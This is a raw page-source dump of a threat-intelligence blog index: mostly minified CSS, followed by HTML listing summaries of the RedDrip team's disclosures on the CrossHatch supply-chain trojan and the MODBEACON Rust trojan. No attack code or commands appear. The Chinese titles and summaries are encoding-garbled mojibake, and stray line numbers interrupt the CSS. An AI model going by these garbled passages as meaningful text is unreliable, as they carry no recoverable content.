.custom-range:invalid::-webkit-slider-runnable-track{background-color:rgba(220,53,69,.35)}.custom-range.is-invalid::-moz-range-thumb,.was-validated .custom-range:invalid::-moz-range-thumb{background-color:#dc3545;background-image:none}.custom-range.is-invalid::-moz-range-thumb:active,.was-validated .custom-range:invalid::-moz-range-thumb:active{background-color:#f6cdd1;background-image:none}.custom-range.is-invalid::-moz-range-track,.was-validated .custom-range:invalid::-moz-range-track{background:rgba(220,53,69,.35)}
11.custom-range.is-invalid~.invalid-feedback,.custom-range.is-invalid~.invalid-tooltip,.was-validated .custom-range:invalid~.invalid-feedback,.was-validated .custom-range:invalid~.invalid-tooltip{display:block}.custom-range.is-invalid::-ms-thumb,.was-validated .custom-range:invalid::-ms-thumb{background-color:#dc3545;background-image:none}.custom-range.is-invalid::-ms-thumb:active,.was-validated .custom-range:invalid::-ms-thumb:active{background-color:#f6cdd1;background-image:none}.custom-range.is-invalid::-ms-track-lower,.custom-range.is-invalid::-ms-track-upper,.was-validated .custom-range:invalid::-ms-track-lower,.was-validated .custom-range:invalid::-ms-track-upper{background:rgba(220,53,69,.35)}.b-table.table.b-table-fixed{table-layout:fixed}.b-table.table[aria-busy=true]{opacity:.55}.b-table.table>tbody>tr.b-table-details>td{border-top:none!important}.b-table.table>caption{caption-side:bottom}.b-table.table>caption.b-table-caption-top{caption-side:top!important}.b-table.table>tfoot>tr>td,.b-table.table>tfoot>tr>th,.b-table.table>thead>tr>td,.b-table.table>thead>tr>th{position:relative}.b-table.table>tfoot>tr>th[aria-sort],.b-table.table>thead>tr>th[aria-sort]{position:relative;padding-right:1.125em;cursor:pointer}.b-table.table>tfoot>tr>th[aria-sort]:after,.b-table.table>thead>tr>th[aria-sort]:after{position:absolute;display:block;bottom:0;right:.35em;padding-bottom:inherit;font-size:inherit;line-height:inherit;opacity:.4;content:"\2195";speak:none}.b-table.table>tfoot>tr>th[aria-sort][aria-sort=ascending]:after,.b-table.table>thead>tr>th[aria-sort][aria-sort=ascending]:after{opacity:1;content:"\2193"}.b-table.table>tfoot>tr>th[aria-sort][aria-sort=descending]:after,.b-table.table>thead>tr>th[aria-sort][aria-sort=descending]:after{opacity:1;content:"\2191"}@media (max-width:575.98px){.b-table.table.b-table-stacked-sm{display:block;width:100%}.b-table.table.b-table-stacked-sm>caption,.b-table.table.b-table-stacked-sm>tbody,.b-table.table.b-table-stacked-sm>tbody>tr,.b-table.table.b-table-stacked-sm>tbody>tr>td{display:block}.b-table.table.b-table-stacked-sm>tfoot,.b-table.table.b-table-stacked-sm>tfoot>tr.b-table-bottom-row,.b-table.table.b-table-stacked-sm>tfoot>tr.b-table-top-row,.b-table.table.b-table-stacked-sm>thead,.b-table.table.b-table-stacked-sm>thead>tr.b-table-bottom-row,.b-table.table.b-table-stacked-sm>thead>tr.b-table-top-row{display:none}.b-table.table.b-table-stacked-sm>caption{caption-side:top!important}.b-table.table.b-table-stacked-sm>tbody>tr>[data-label]{display:grid;grid-template-columns:40% auto;grid-gap:.25rem 1rem}.b-table.table.b-table-stacked-sm>tbody>tr>[data-label]:before{content:attr(data-label);display:inline;text-align:right;word-wrap:break-word;font-weight:700;font-style:normal}.b-table.table.b-table-stacked-sm>tbody>tr.bottom-row,.b-table.table.b-table-stacked-sm>tbody>tr.top-row{display:none}.b-table.table.b-table-stacked-sm>tbody>tr>:first-child{border-top-width:3px}}@media (max-width:767.98px){.b-table.table.b-table-stacked-md{display:block;width:100%}.b-table.table.b-table-stacked-md>caption,.b-table.table.b-table-stacked-md>tbody,.b-table.table.b-table-stacked-md>tbody>tr,.b-table.table.b-table-stacked-md>tbody>tr>td{display:block}.b-table.table.b-table-stacked-md>tfoot,.b-table.table.b-table-stacked-md>tfoot>tr.b-table-bottom-row,.b-table.table.b-table-stacked-md>tfoot>tr.b-table-top-row,.b-table.table.b-table-stacked-md>thead,.b-table.table.b-table-stacked-md>thead>tr.b-table-bottom-row,.b-table.table.b-table-stacked-md>thead>tr.b-table-top-row{display:none}.b-table.table.b-table-stacked-md>caption{caption-side:top!important}.b-table.table.b-table-stacked-md>tbody>tr>[data-label]{display:grid;grid-template-columns:40% auto;grid-gap:.25rem 1rem}.b-table.table.b-table-stacked-md>tbody>tr>[data-label]:before{content:attr(data-label);display:inline;text-align:right;word-wrap:break-word;font-weight:700;font-style:normal}.b-table.table.b-table-stacked-md>tbody>tr.bottom-row,.b-table.table.b-table-stacked-md>tbody>tr.top-row{display:none}.b-table.table.b-table-stacked-md>tbody>tr>:first-child{border-top-width:3px}}@media (max-width:991.98px){.b-table.table.b-table-stacked-lg{display:block;width:100%}.b-table.table.b-table-stacked-lg>caption,.b-table.table.b-table-stacked-lg>tbody,.b-table.table.b-table-stacked-lg>tbody>tr,.b-table.table.b-table-stacked-lg>tbody>tr>td{display:block}.b-table.table.b-table-stacked-lg>tfoot,.b-table.table.b-table-stacked-lg>tfoot>tr.b-table-bottom-row,.b-table.table.b-table-stacked-lg>tfoot>tr.b-table-top-row,.b-table.table.b-table-stacked-lg>thead,.b-table.table.b-table-stacked-lg>thead>tr.b-table-bottom-row,.b-table.table.b-table-stacked-lg>thead>tr.b-table-top-row{display:none}.b-table.table.b-table-stacked-lg>caption{caption-side:top!important}.b-table.table.b-table-stacked-lg>tbody>tr>[data-label]{display:grid;grid-template-columns:40% auto;grid-gap:.25rem 1rem}.b-table.table.b-table-stacked-lg>tbody>tr>[data-label]:before{content:attr(data-label);display:inline;text-align:right;word-wrap:break-word;font-weight:700;font-style:normal}.b-table.table.b-table-stacked-lg>tbody>tr.bottom-row,.b-table.table.b-table-stacked-lg>tbody>tr.top-row{display:none}.b-table.table.b-table-stacked-lg>tbody>tr>:first-child{border-top-width:3px}}@media (max-width:1199.98px){.b-table.table.b-table-stacked-xl{display:block;width:100%}.b-table.table.b-table-stacked-xl>caption,.b-table.table.b-table-stacked-xl>tbody,.b-table.table.b-table-stacked-xl>tbody>tr,.b-table.table.b-table-stacked-xl>tbody>tr>td{display:block}.b-table.table.b-table-stacked-xl>tfoot,.b-table.table.b-table-stacked-xl>tfoot>tr.b-table-bottom-row,.b-table.table.b-table-stacked-xl>tfoot>tr.b-table-top-row,.b-table.table.b-table-stacked-xl>thead,.b-table.table.b-table-stacked-xl>thead>tr.b-table-bottom-row,.b-table.table.b-table-stacked-xl>thead>tr.b-table-top-row{display:none}.b-table.table.b-table-stacked-xl>caption{caption-side:top!important}.b-table.table.b-table-stacked-xl>tbody>tr>[data-label]{display:grid;grid-template-columns:40% auto;grid-gap:.25rem 1rem}.b-table.table.b-table-stacked-xl>tbody>tr>[data-label]:before{content:attr(data-label);display:inline;text-align:right;word-wrap:break-word;font-weight:700;font-style:normal}.b-table.table.b-table-stacked-xl>tbody>tr.bottom-row,.b-table.table.b-table-stacked-xl>tbody>tr.top-row{display:none}.b-table.table.b-table-stacked-xl>tbody>tr>:first-child{border-top-width:3px}}.b-table.table.b-table-stacked{display:block;width:100%}.b-table.table.b-table-stacked>caption,.b-table.table.b-table-stacked>tbody,.b-table.table.b-table-stacked>tbody>tr,.b-table.table.b-table-stacked>tbody>tr>td{display:block}.b-table.table.b-table-stacked>tfoot,.b-table.table.b-table-stacked>tfoot>tr.b-table-bottom-row,.b-table.table.b-table-stacked>tfoot>tr.b-table-top-row,.b-table.table.b-table-stacked>thead,.b-table.table.b-table-stacked>thead>tr.b-table-bottom-row,.b-table.table.b-table-stacked>thead>tr.b-table-top-row{display:none}.b-table.table.b-table-stacked>caption{caption-side:top!important}.b-table.table.b-table-stacked>tbody>tr>[data-label]{display:grid;grid-template-columns:40% auto;grid-gap:.25rem 1rem}.b-table.table.b-table-stacked>tbody>tr>[data-label]:before{content:attr(data-label);display:inline;text-align:right;word-wrap:break-word;font-weight:700;font-style:normal}.b-table.table.b-table-stacked>tbody>tr.bottom-row,.b-table.table.b-table-stacked>tbody>tr.top-row{display:none}.b-table.table.b-table-stacked>tbody>tr>:first-child{border-top-width:3px}table.b-table.b-table-selectable>tbody>tr{cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.icon-24{font-size:24px;
11cursor:pointer}.icon-16,.icon-24{display:inline-block;color:#747e87}.icon-16{font-size:16px}.text-14{display:inline-block;font-size:14px;line-height:24px;color:#3a4755}.text-12{color:#42a9f4;line-height:1.2;padding:4px 0}.text-12,.text-grey-12{font-size:12px;font-family:PingFang SC}.text-grey-12{display:inline;color:rgba(57,71,84,.702);line-height:1.5}.hover{color:#3a4755}@font-face{font-family:icomoon;src:url(/blog/_nuxt/fonts/aca6c21.eot);src:url(/blog/_nuxt/fonts/aca6c21.eot#iefix) format("embedded-opentype"),url(/blog/_nuxt/fonts/975f1e7.ttf) format("truetype"),url(/blog/_nuxt/fonts/a674c4a.woff) format("woff"),url(/blog/_nuxt/img/4f6755c.svg#icomoon) format("svg");font-weight:400;font-style:normal}[class*=" icon-"],[class^=icon-]{font-family:icomoon!important;speak:none;font-style:normal;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.icon-arrow-down:before{content:"\e900"}.icon-arrow-up:before{content:"\e901"}.icon-banner-text:before{content:"\e902";color:#4cb050}.icon-cat:before{content:"\e903"}.icon-folder-f:before{content:"\e904"}.icon-home-f:before{content:"\e905"}.icon-more:before{content:"\e906";color:#747e87}.icon-pdf:before{content:"\e907"}.icon-sina:before{content:"\e908"}.icon-tag:before{content:"\e909"}.icon-top:before{content:"\e90a";color:#4aa9f4}.icon-wechat:before{content:"\e90b"}pre.hljs{padding:0;border-radius:5px;margin-bottom:1em}.hljs{display:block;overflow-x:auto;padding:.5em;background:#002b36;color:#839496}.hljs-comment,.hljs-quote{color:#586e75}.hljs-addition,.hljs-keyword,.hljs-selector-tag{color:#859900}.hljs-doctag,.hljs-literal,.hljs-meta .hljs-meta-string,.hljs-number,.hljs-regexp,.hljs-string{color:#2aa198}.hljs-name,.hljs-section,.hljs-selector-class,.hljs-selector-id,.hljs-title{color:#268bd2}.hljs-attr,.hljs-attribute,.hljs-class .hljs-title,.hljs-template-variable,.hljs-type,.hljs-variable{color:#b58900}.hljs-bullet,.hljs-link,.hljs-meta,.hljs-meta .hljs-keyword,.hljs-selector-attr,.hljs-selector-pseudo,.hljs-subst,.hljs-symbol{color:#cb4b16}.hljs-built_in,.hljs-deletion{color:#dc322f}.hljs-formula{background:#073642}.hljs-emphasis{font-style:italic}.hljs-strong{font-weight:700}pre{position:relative;overflow:hidden}code{display:block;padding:12px 24px;overflow-y:auto}code.has-numbering{margin-left:24px}.pre-numbering{position:absolute;top:0;left:0;margin:8px 1px 32px 2px;padding:1px 4px 0 2px;background:0 0;text-align:right;border-right:2px solid #007f00}.nuxt-progress{position:fixed;top:0;left:0;right:0;height:2px;width:0;opacity:1;transition:width .1s,opacity .4s;background-color:#3b8070;z-index:999999}.nuxt-progress.nuxt-progress-notransition{transition:none}.nuxt-progress-failed{background-color:red}.hljs ::-webkit-scrollbar{width:8px;height:10px;border-radius:2px;background-color:#839496}.hljs ::-webkit-scrollbar-track{background-color:#bebebe}.hljs ::-webkit-scrollbar-thumb,.hljs ::-webkit-scrollbar-track{border-radius:2px;-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3)}.hljs ::-webkit-scrollbar-thumb{background-color:#789}html{font-family:PingFang SC,Source Sans Pro,-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Arial,sans-serif;font-size:14px;color:#394754;word-spacing:1px;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;box-sizing:border-box}*,:after,:before{box-sizing:border-box;margin:0;text-decoration:none}li{list-style-type:none;word-wrap:break-word}ol li{list-style-type:decimal;line-height:22px;text-indent:12px}a:link,a:visited{color:#0b1802}a:hover{color:#4aa9f4}a:active{color:#0b1802}.main-body h1{font-size:18px;line-height:1.333}.main-body h2{font-size:16px;line-height:1.2}.main-body h1,.main-body h2,.main-body h3,.main-body h4,.main-body h5,.main-body h6{margin-top:0;margin-bottom:.5rem}.main-body p{margin-top:0;margin-bottom:1rem;font-size:14px;line-height:1.714;text-indent:25px;word-wrap:break-word}.main-body .img-box{text-indent:unset}.main-body img{vertical-align:middle;border-style:none;
11margin:auto 20px auto auto;padding:3px;border-radius:3px;box-shadow:0 1px 2px rgba(0,0,0,.15)}.main-body .text-center{text-align:center!important}.main-body table{border-collapse:collapse!important;width:100%;max-width:100%;margin:1em 0;background-color:transparent}.main-body table tbody+tbody{border-top:2px solid #e9ecef}.main-body table td,.main-body table th{padding:.5rem;font-size:.95em;border-collapse:collapse}.main-body table tr{border:1px solid #dfe8fe}.main-body table tr:nth-child(odd){background-color:#ecf1fe}.main-body table tr:nth-child(2n){background-color:#fdfdfd}.main-body table td{white-space:normal;word-break:break-all;min-width:120px}.main-body table thead{display:none}.main-body code,.main-body kbd,.main-body pre,.main-body samp{font-family:Menlo,Monaco,Consolas,Liberation Mono,Courier New,monospace}.main-body li code,.main-body p code{display:inline;text-indent:0;background-color:#ede6e8;color:#c6427b;padding:2px}@media screen and (min-width:200px) and (max-width:550px){.main-body .hljs{font-size:12px}}.container[data-v-0da550e4]{margin:0 auto;max-width:1450px}.back-ti-nav[data-v-925a200c]{right:0;margin:4px 8px;padding:4px 8px;font-size:14px;cursor:pointer;color:#42a9f4;position:absolute;z-index:2}.back-ti-nav[data-v-925a200c]:hover{border-bottom:1px solid}.nav-bar[data-v-925a200c]{margin:0;height:300px;background:url(/blog/_nuxt/img/8956939.png) repeat;background-size:cover;cursor:pointer}.nav-bar .ico-favicon[data-v-925a200c]{padding-top:80px;padding-left:10%}.nav-bar .ico-favicon .banner-above[data-v-925a200c]{position:relative;display:flex}.nav-bar .ico-favicon .banner-above .banner-logo[data-v-925a200c]{display:inline-block;width:242px;height:60px;background:url(/blog/_nuxt/img/2d3ee32.png) no-repeat;background-size:contain;margin-left:120px}.nav-bar .ico-favicon .banner-above .icon-banner-text[data-v-925a200c]{font-size:48px;width:535px;height:55px;margin-left:112px;top:0;position:absolute;margin-top:15px}.nav-bar .ico-favicon .banner-above .text-first-line[data-v-925a200c]{font-size:40px;font-family:PingFang SC;color:#2d82ff;line-height:1.267}.nav-bar .ico-favicon .line[data-v-925a200c]{width:4px;height:65px;background-color:#b8b8b8;margin-left:300px;margin-top:10px}.nav-bar .ico-favicon .banner-below[data-v-925a200c]{position:absolute;font-size:18px;word-spacing:13px;margin-left:683px;top:50px;color:#5b5b5b}.disPic .pic[data-v-925a200c]{background-color:#faa732;height:480px;width:100%}@media screen and (min-width:950px){.nav-bar .ico-favicon[data-v-925a200c]{padding-top:80px;padding-left:10%}.nav-bar .ico-favicon .banner-logo[data-v-925a200c]{margin:15px 0}.nav-bar .ico-favicon .text-first-line[data-v-925a200c]{position:absolute;top:0;margin-left:679px}}
11@media screen and (min-width:200px) and (max-width:950px){.nav-bar .ico-favicon[data-v-925a200c]{margin:auto;text-align:center;width:90%;padding-left:0}.nav-bar .ico-favicon .banner-above .banner-logo[data-v-925a200c]{max-width:90%;min-height:24px;margin:0;display:inline-block}.nav-bar .ico-favicon .banner-above .text-first-line[data-v-925a200c]{position:relative;margin:24px;font-size:46px}.nav-bar .ico-favicon .banner-below[data-v-925a200c]{word-spacing:18px;position:relative;display:inline-block;margin:0}}.left-con[data-v-76891ffe]{height:100%;width:100%;float:left}.main-part[data-v-76891ffe]{margin-right:348px}.art-list[data-v-76891ffe]{margin:20px 20px auto 108px}.pagination[data-v-76891ffe]{margin:18px auto}.tag-tip-box[data-v-76891ffe]{margin-left:108px;margin-top:47px}.paging[data-v-76891ffe]{margin:20px 20px 0 108px;padding-bottom:20px}.paging .pag-btn[data-v-76891ffe]{line-height:40px;height:40px;color:#53addd;text-align:center;width:180px;border:1px solid #53addd;border-radius:2px;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;font-size:14px}.paging .pag-btn .ico[data-v-76891ffe]{width:14px;height:14px;padding-top:13px;display:inline-block;background-size:14px;background-repeat:no-repeat}.paging .pag-btn p[data-v-76891ffe]{display:inline-block}.paging .btn-unable[data-v-76891ffe],.paging .btn-unable[data-v-76891ffe]:hover,.paging .pag-btn[data-v-76891ffe]:active,.paging .pag-btn[data-v-76891ffe]:hover{color:#fff}.paging .pag-btn[data-v-76891ffe]:hover{background-color:#72c4f0;border-bottom:1px solid #72c4f0}.paging .pag-btn[data-v-76891ffe]:active{background-color:#409ed0}.paging .btn-unable[data-v-76891ffe],.paging .btn-unable[data-v-76891ffe]:hover{background-color:#dadee5;border:1px solid #dadee5;cursor:not-allowed}.paging .left[data-v-76891ffe]{float:left}.paging .left p[data-v-76891ffe]{padding-left:7px}.paging .right[data-v-76891ffe]{float:right}.paging .right p[data-v-76891ffe]{padding-right:7px}.paging .mid[data-v-76891ffe]{text-align:center;line-height:40px;height:40px;color:#979996;margin:auto 200px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;cursor:default}.wechat[data-v-76891ffe]{display:none}@media screen and (min-width:750px) and (max-width:950px){.main-part[data-v-76891ffe]{margin-right:0}.main-part .paging[data-v-76891ffe]{margin-right:108px}.main-part .paging .left[data-v-76891ffe],.main-part .paging .right[data-v-76891ffe]{width:100px}.main-part .paging .mid[data-v-76891ffe]{margin:auto 30%}.main-part .wechat[data-v-76891ffe]{display:block}.art-list[data-v-76891ffe]{margin:20px 30px auto}.tag-tip-box[data-v-76891ffe]{margin:30px}}
11@media screen and (min-width:200px) and (max-width:750px){.main-part[data-v-76891ffe],.paging[data-v-76891ffe]{margin:16px}.main-part .art-list[data-v-76891ffe],.main-part .tag-tip-box[data-v-76891ffe],.paging .art-list[data-v-76891ffe],.paging .tag-tip-box[data-v-76891ffe]{margin:0}.paging .left[data-v-76891ffe],.paging .right[data-v-76891ffe]{width:60px}.paging .mid[data-v-76891ffe]{margin:auto 30%}.wechat[data-v-76891ffe]{display:block}}.tag-tip[data-v-f6a31d1e]{border-bottom:1px solid #e4ecf3}.tag-tip .back-home[data-v-f6a31d1e]:hover{cursor:pointer}.tag-tip .back-home[data-v-f6a31d1e]{vertical-align:middle;width:80px;cursor:pointer;line-height:21px;color:#848d95}.tag-tip .back-home .icon-more[data-v-f6a31d1e]{-webkit-transform:rotate(180deg);transform:rotate(180deg)}.tag-tip .back-home .back[data-v-f6a31d1e],.tag-tip .back-home .icon-more[data-v-f6a31d1e]{line-height:21px;vertical-align:middle}.tag-tip .tag-item[data-v-f6a31d1e]{margin-top:12px;margin-bottom:8px;margin-left:12px;cursor:default;color:#848d95}.tag-tip .tag-name[data-v-f6a31d1e]{height:46px;color:#42a9f4;font-size:24px}.art-container[data-v-ab100740]{margin-top:16px;padding-bottom:16px;width:100%;height:216px;position:relative;border-bottom:1px solid #e4ecf3}.art-container .text-box[data-v-ab100740]{margin-left:320px;top:0}.art-container .text-box .brief[data-v-ab100740]{font-size:14px;line-height:1.714;padding:8px 0;text-indent:25px;display:-webkit-box;-webkit-line-clamp:4;overflow:hidden;max-height:104px}.art-container .text-box .href[data-v-ab100740]{cursor:pointer;color:#53addd;text-indent:25px}.art-container .text-box .ava img[data-v-ab100740]{border-radius:50%;height:48px;width:48px;float:left;margin:12px}.art-container .text-box .author[data-v-ab100740]{display:inline-block;line-height:32px}.art-container .text-box .author a[data-v-ab100740]{margin:0 4px}.art-container .text-box .author a img[data-v-ab100740]{width:16px;height:16px}.art-container .text-box .author .art-msg[data-v-ab100740]{display:inline;font-size:12px;font-family:PingFang SC;color:rgba(57,71,84,.502);line-height:1.5}.art-container .pic-box[data-v-ab100740]{width:300px;max-height:200px;border-radius:5px;position:absolute;display:inline-block;top:0;overflow:hidden;cursor:pointer}.art-container .pic-box img[data-v-ab100740]{width:100%}@media screen and (min-width:950px){.art-container .text-box[data-v-ab100740]{margin-left:0}.art-container .pic-box[data-v-ab100740]{width:0}}@media screen and (min-width:550px) and (max-width:950px){.art-container .text-box[data-v-ab100740]{margin-left:0}.art-container .pic-box[data-v-ab100740]{width:0}}@media screen and (max-width:550px){.art-container[data-v-ab100740]{height:210px}.art-container .author[data-v-ab100740]{line-height:24px;font-size:13px}.art-container .text-box[data-v-ab100740]{margin-left:0}.art-container .text-box .brief[data-v-ab100740]{font-size:14px}.art-container .text-box .author[data-v-ab100740]{width:100%;padding-left:10px}.art-container .text-box .ava img[data-v-ab100740]{height:38px;width:38px;margin:12px 12px 8px}.art-container .pic-box[data-v-ab100740]{width:0}}.title-home[data-v-4e3604fb]{font-family:sans-serif;font-size:24px;cursor:pointer;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;transition:all .3s;line-height:1.2}.title-home[data-v-4e3604fb]:hover{color:#4aa9f4}.title-detail[data-v-4e3604fb]{font-size:24px;margin-top:48px;line-height:1.2;transition:all .3s}@media screen and (min-width:550px) and (max-width:950px){.title-home[data-v-4e3604fb]{line-height:24px}.title-detail[data-v-4e3604fb]{line-height:32px;margin:32px 16px 16px}}.icon-24[data-v-05600494]{font-size:24px;cursor:pointer}.icon-16[data-v-05600494],.icon-24[data-v-05600494]{display:inline-block;color:#747e87}.icon-16[data-v-05600494]{font-size:16px}.text-14[data-v-05600494]{display:inline-block;font-size:14px;line-height:24px;color:#3a4755}.text-12[data-v-05600494]{color:#42a9f4;line-height:1.2;padding:4px 0}.text-12[data-v-05600494],.text-grey-12[data-v-05600494]{font-size:12px;font-family:PingFang SC}.text-grey-12[data-v-05600494]{display:inline;color:rgba(57,71,84,.702);line-height:1.5}.hover[data-v-05600494]{color:#3a4755}.s-tags-box-home[data-v-05600494]{position:absolute;float:left;bottom:0}.s-tags[data-v-05600494]{height:32px;overflow:hidden;margin-left:16px}.icon-16[data-v-05600494]{position:absolute;margin:8px 0}
11.s-tag[data-v-05600494]{display:inline-block;padding:7px 6px;cursor:pointer}.s-tag[data-v-05600494]:hover{color:#42a9f4}.wechat-box[data-v-480b42e6]{margin-top:18px;background:#f9fafb;padding:16px}.wechat-box .first-line[data-v-480b42e6]{color:#9fa6ad;padding-bottom:16px;border-bottom:1px solid #e7eaf1}.wechat-box .sec-line[data-v-480b42e6]{color:#9fa6ad;padding:16px 0}.wechat-box .pic img[data-v-480b42e6]{width:100px;height:100px}@media screen and (max-width:950px){.wechat-box[data-v-480b42e6]{text-align:center}.wechat-box .first-line[data-v-480b42e6]{padding-top:30px}}.container[data-v-3165d1a2]{width:200px;float:left;margin-top:50px;margin-left:-311px!important;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.container .box[data-v-3165d1a2]{border:1px solid #e7eaf1}.container .box .tag-div[data-v-3165d1a2]{line-height:28px}.container .box .tag-item[data-v-3165d1a2]{padding:0 36px}.container .box .tag-item[data-v-3165d1a2]:hover{background:#f4f1fa}.container .tag-div.box-body[data-v-3165d1a2]:after{position:absolute;right:16px;bottom:0;left:16px;content:"\0020";border-bottom:1px solid #e7eaf1}.container .cat-box[data-v-3165d1a2],.container .tag-box[data-v-3165d1a2]{position:relative}.container .cat-box .box-header .text[data-v-3165d1a2],.container .tag-box .box-header .text[data-v-3165d1a2]{position:absolute;display:inline-block;margin:10px 0;font-size:14px}.container .cat-box .box-header .icon-16[data-v-3165d1a2],.container .tag-box .box-header .icon-16[data-v-3165d1a2]{margin:16px}.container .cat-box .box-header .switch[data-v-3165d1a2],.container .tag-box .box-header .switch[data-v-3165d1a2]{top:0;right:0;position:absolute}.container .cat-box .box-body[data-v-3165d1a2],.container .tag-box .box-body[data-v-3165d1a2]{padding:0 0 12px}.container .cat-box .box-body .text-12[data-v-3165d1a2],.container .tag-box .box-body .text-12[data-v-3165d1a2]{cursor:pointer}.container .cat-box .fold-body[data-v-3165d1a2],.container .tag-box .fold-body[data-v-3165d1a2]{padding:0}@media screen and (max-width:950px){.container[data-v-3165d1a2]{display:none}}</style> 12 </head> 13 <body data-n-head=""> 14 <div data-server-rendered="true" id="__nuxt"><!----><div id="__layout"><div><section data-v-0da550e4><div data-v-925a200c data-v-0da550e4><a class="back-ti-nav" data-v-925a200c>è¿å TI 主页</a> <div class="nav-bar" data-v-925a200c><div class="ico-favicon" data-v-925a200c><div class="banner-above" data-v-925a200c><i class="banner-logo" data-v-925a200c></i> <div class="line" data-v-925a200c></div> <p class="text-first-line" data-v-925a200c>RESEARCH</p> <p class="banner-below" data-v-925a200c>æ° æ® é©± å¨ å® å ¨</p></div></div></div></div> <div class="container" data-v-0da550e4><div data-v-76891ffe data-v-0da550e4><div class="left-con" data-v-76891ffe><div class="main-part" data-v-76891ffe><div class="tag-tip tag-tip-box" style="display:none" data-v-f6a31d1e data-v-76891ffe><div class="back-home" data-v-f6a31d1e><i class="icon-more icon-16" data-v-f6a31d1e></i> <span class="back" data-v-f6a31d1e>è¿åå客</span></div> <div class="tag-item" data-v-f6a31d1e><span data-v-f6a31d1e>彿¡£ï¼</span> <span class="tag-name" data-v-f6a31d1e> 15 ââ 16 </span></div></div> <div class="art-list" data-v-76891ffe><div class="art-container" data-v-ab100740 data-v-76891ffe><div class="text-box" data-v-ab100740><div class="title-home" data-v-4e3604fb data-v-ab100740><a tag="div" target="_blank" data-v-4e3604fb> 17 AIæ¶ä»£ä¸çå½äº§Electron软件ä¾åºé¾æ»å»æ´»å¨æ«é² 18 <!----></a></div> <div class="author" data-v-ab100740><p class="art-msg" data-v-ab100740>2026-08-10 By çº¢é¨æ»´å¢é | äºä»¶è¿½è¸ª</p></div> <div class="brief" data-v-ab100740> 19 2026 å¹´ 6 æï¼å¥å®ä¿¡å¨èæ æ¥ä¸å¿çº¢é¨æ»´å¢ééè¿ç§ææ æ¥ AI ç产æµç¨ï¼æç»çæµå°ä¸æ¬¾æ°åç¹ç§æ¨é©¬ CrossHatch éè¿å¤æ¬¾å½äº§ Electron 软件ä¾åºé¾ä¼ æãé¨åä¾åºé¾èç¹åå¨å®åä¸åè¡ä¸ºãç§ç§è¿¹è±¡è¡¨æï¼æ»å»è çä¼¼åºäºç»æµç®çï¼é对å¢å åè·¨å¢çµååèµ·é«æ°´å¹³çæ»å»æ´»å¨ã 20 </div></div> <div class="s-tags-box s-tags-box-home" data-v-05600494 data-v-ab100740><i class="icon-tag icon-16" data-v-05600494></i> <div class="s-tags" data-v-05600494><span class="s-tag text-grey-12" data-v-05600494> 21 SUPPLY CHAIN ATTAC 22 </span><span class="s-tag text-grey-12" data-v-05600494> 23 AI 24 </span><span class="s-tag text-grey-12" data-v-05600494> 25 ELECTRON 26 </span></div></div></div><div class="art-container" data-v-ab100740 data-v-76891ffe><div class="text-box" data-v-ab100740><div class="title-home" data-v-4e3604fb data-v-ab100740><a tag="div" target="_blank" data-v-4e3604fb> 27 Disclosure of Supply Chain Attack Activities Against Domestic Electron Software in the AI Era 28 <!----></a></div> <div class="author" data-v-ab100740><p class="art-msg" data-v-ab100740>2026-08-07 By çº¢é¨æ»´å¢é | äºä»¶è¿½è¸ª</p></div> <div class="brief" data-v-ab100740> 29 In June 2026, the RedDrip Team of QIANXIN Threat Intelligence Center, through its private AI powered threat intelligence production pipeline, continuously detected a
29new bespoke trojan, CrossHatch, being distributed via supply chains of multiple domestic Electron software products. Some supply chain nodes exhibited targeted delivery behaviors. Various signs suggest that the attackers, likely for economic purposes, are conducting high level attacks against domestic and cross border e commerce businesses. 30 </div></div> <div class="s-tags-box s-tags-box-home" data-v-05600494 data-v-ab100740><i class="icon-tag icon-16" data-v-05600494></i> <div class="s-tags" data-v-05600494><span class="s-tag text-grey-12" data-v-05600494> 31 SUPPLY CHAIN ATTACK 32 </span><span class="s-tag text-grey-12" data-v-05600494> 33 AI 34 </span><span class="s-tag text-grey-12" data-v-05600494> 35 ELECTRON 36 </span></div></div></div><div class="art-container" data-v-ab100740 data-v-76891ffe><div class="text-box" data-v-ab100740><div class="title-home" data-v-4e3604fb data-v-ab100740><a tag="div" target="_blank" data-v-4e3604fb> 37 Operation Phnom Penh: Silver Fox Ghost Distributor Targets Specific Victims with MODBEACON Custom Trojan 38 <!----></a></div> <div class="author" data-v-ab100740><p class="art-msg" data-v-ab100740>2026-07-06 By çº¢é¨æ»´å¢é | äºä»¶è¿½è¸ª</p></div> <div class="brief" data-v-ab100740> 39 In mid-June 2026, the Red Raindrop Team at Qianxin Threat Intelligence Center detected, through its private intelligence AI production pipeline, a Ghost distributor delivering a highly modular special trojan written in Rust to specific targets. Based on its distinctive string characteristics, we named the trojan MODBEACON. Its victim targeting is highly customized, spanning sectors including technology, education, and state-owned enterprises. 40 </div></div> <div class="s-tags-box s-tags-box-home" data-v-05600494 data-v-ab100740><i class="icon-tag icon-16" data-v-05600494></i> <div class="s-tags" data-v-05600494><span class="s-tag text-grey-12" data-v-05600494> 41 MALWARE 42 </span><span class="s-tag text-grey-12" data-v-05600494> 43 MODBEACON 44 </span><span class="s-tag text-grey-12" data-v-05600494> 45 UTG-Q-1000 46 </span></div></div></div><div class="art-container" data-v-ab100740 data-v-76891ffe><div class="text-box" data-v-ab100740><div class="title-home" data-v-4e3604fb data-v-ab100740><a tag="div" target="_blank" data-v-4e3604fb> 47 Operation Phnom Penh:é¶çGhoståååé对ç¹å®ç®æ æéMODBEACONç¹é©¬ 48 <!----></a></div> <div class="author" data-v-ab100740><p class="art-msg" data-v-ab100740>2026-07-06 By çº¢é¨æ»´å¢é | äºä»¶è¿½è¸ª</p></div> <div class="brief" data-v-ab100740> 49 2026 å¹´ 6 æä¸æ¬ï¼å¥å®ä¿¡å¨èæ æ¥ä¸å¿çº¢é¨æ»´å¢éçç§ææ æ¥ AI ç产æµç¨æ£æµå°ä¸ä¼ ghost 